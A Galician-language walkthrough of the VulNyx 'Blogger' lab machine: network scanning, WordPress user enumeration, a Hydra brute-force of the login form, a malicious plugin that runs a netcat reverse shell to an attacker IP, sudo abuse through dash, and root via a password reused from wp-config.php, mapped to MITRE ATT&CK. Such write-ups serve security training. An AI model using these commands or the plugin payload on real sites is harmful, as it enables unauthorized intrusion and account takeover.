Blogger
Máquina virtual Blogger


A máquina Blogger é moi interesante porque...
- WordPress instalado que require configuración de /etc/hosts mediante dominio
- WPScan para enumeración de usuarios de WordPress
- Hydra con http-post-form para brute-force de login WordPress
- Creación e subida de plugin malicioso de WordPress para RCE
- Escalada horizontal mediante dash con sudo
- Credenciais de root en wp-config.php (reutilización de contrasinais)
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Blogger -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Blogger # 22,80
whatweb IP_VulNyx_Blogger
curl -I IP_VulNyx_Blogger
Fase 2 — Análise
# Enumeración de directorios web
dirb http://IP_VulNyx_Blogger
# Directorio descuberto: /wordpress
# Análise da instalación WordPress
firefox http://IP_VulNyx_Blogger/wordpress &
# Proba de busca no WordPress
# URL de resultado: http://megablog.nyx/wordpress/?s=test
# Dominio identificado: megablog.nyx
# Adición de entrada en /etc/hosts
echo "IP_VulNyx_Blogger megablog.nyx" | sudo tee -a /etc/hosts
# Enumeración de usuarios con WPScan
wpscan --url http://megablog.nyx/wordpress -e u
# Usuario identificado: [usuario]
# Intento de brute-force con WPScan
wpscan --url http://megablog.nyx/wordpress -U [usuario] -P /usr/share/wordlists/rockyou.txt
# Non se atopa contrasinal
# Intento de brute-force SSH
hydra -l [usuario] -P /usr/share/wordlists/rockyou.txt ssh://IP_VulNyx_Blogger -F -V -t 64
# Non se atopa contrasinal
# Análise do formulario de login WordPress
curl -s http://megablog.nyx/wordpress/wp-login.php > wp-login.php
cat wp-login.php | grep -E 'name="(log|pwd)"'
# Campos identificados:
# - Username: log
# - Password: pwd
# Brute-force do formulario WordPress con hydra
hydra -l [usuario] -P /usr/share/wordlists/rockyou.txt megablog.nyx http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:F=Error: The password you entered for the username" -F -V -t 64
# Contrasinal atopada: [contrasinal
# Verificación SSH con credenciais de WordPress
ssh [usuario]@IP_VulNyx_Blogger
# Password: [contrasinal
# Non funciona (usuario só existe en WordPress)
Fase 3 — Explotación
# Acceso ao panel de WordPress
firefox http://megablog.nyx/wordpress/wp-login.php &
# Username: [usuario]
# Password: [contrasinal
# ⇒ Acceso exitoso
# Notificación ao acceder
# Solicita cambiar correo do administrador: [usuario2]@vulnyx.com
# Usuario adicional identificado: [usuario2] (para investigación futura)
# Creación de plugin malicioso
# Referencia: https://github.com/d4t4s3c/OffensiveReverseShellCheatSheet#wordpress
cat > plugin.php << 'EOF'
<?php
/**
* Plugin Name: WordPress (Reverse Shell)
* Plugin URI: https://wordpress.org
* Description: (Pwn3d!)
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/
exec("busybox nc IP_Atacante 443 -e /bin/sh");
?>
EOF
# Comprimir plugin
zip plugin.zip plugin.php
# Preparar listener no atacante
nc -nlvp 443
# Subida e activación do plugin
# 1. Ir a: http://megablog.nyx/wordpress/wp-admin/plugin-install.php
# 2. Upload Plugin → Browse → plugin.zip
# 3. Install Now
# 4. Activate Plugin
# ⇒ Conseguimos reverse shell como www-data
Fase 4 — Post‑explotación
# Mellora da TTY
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash
# Enumeración de usuarios do sistema
grep bash /etc/passwd
# Usuarios identificados: root, [usuario3]
# Enumeración de permisos sudo
sudo -l
# ([usuario3]) NOPASSWD: /usr/bin/dash
# Consulta en GTFOBins para dash
# Escalada horizontal a usuario [usuario3]
sudo -u [usuario3] /usr/bin/dash
# Mellora da TTY como [usuario3]
script /dev/null -c bash
whoami # [usuario3]
cd /home/[usuario3]
cat user.txt # ⇒ Flag de usuario conseguida
# Enumeración de permisos sudo como [usuario3]
sudo -l
# Non hai permisos sudo adicionais
# Subida e execución de linpeas.sh
# [Non se atopa nada relevante]
# Subida e execución de pspy
# [Non se atopa nada relevante]
# Volta á consola de www-data
exit
# Lectura de wp-config.php
cat /var/www/html/wordpress/wp-config.php | grep -B1 -A1 "DB_USER\|DB_PASSWORD"
# /** Database username */
# define( 'DB_USER', 'root' );
# /** Database password */
# define( 'DB_PASSWORD', '[contrasinal2]' );
# Proba de reutilización de contrasinal
su -
# Password: [contrasinal2]
# ⇒ Conseguimos shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Blogger
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Enumeración de usuarios WordPress con WPScan | CMS user enumeration | T1087 — Account Discovery T1592 — Gather Victim Host Information |
CWE-200 — Information Exposure |
| Identificación de dominio mediante erro de URL | Information disclosure | T1592 — Gather Victim Host Information T1590.002 — Gather Victim Network Information: DNS |
CWE-209 — Generation of Error Message Containing Sensitive Information | |
| Brute-force de formulario WordPress con hydra | Web form brute-force | T1110.001 — Brute Force: Password Guessing T1078 — Valid Accounts |
CWE-521 — Weak Password Requirements; CWE-307 — Improper Restriction of Excessive Authentication Attempts | |
| 3. Explotación | Creación e subida de plugin malicioso de WordPress | Malicious plugin upload | T1505.003 — Server Software Component: Web Shell T1105 — Ingress Tool Transfer |
CWE-434 — Unrestricted Upload of File with Dangerous Type |
| 4. Post-explotación | Escalada horizontal mediante dash con sudo | Lateral movement | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1078.003 — Valid Accounts: Local Accounts |
CWE-269 — Improper Privilege Management |
| Lectura de wp-config.php con credenciais de base de datos | Credential Access | T1552.001 — Unsecured Credentials: Credentials In Files T1083 — File and Directory Discovery |
CWE-312 — Cleartext Storage of Sensitive Information | |
| Reutilización de contrasinal de bbdd como contrasinal root | Password reuse / privilege escalation | T1078.003 — Valid Accounts: Local Accounts T1110.001 — Brute Force: Password Guessing |
CWE-521 — Weak Password Requirements; CWE-640 — Weak Password Recovery Mechanism for Forgotten Password |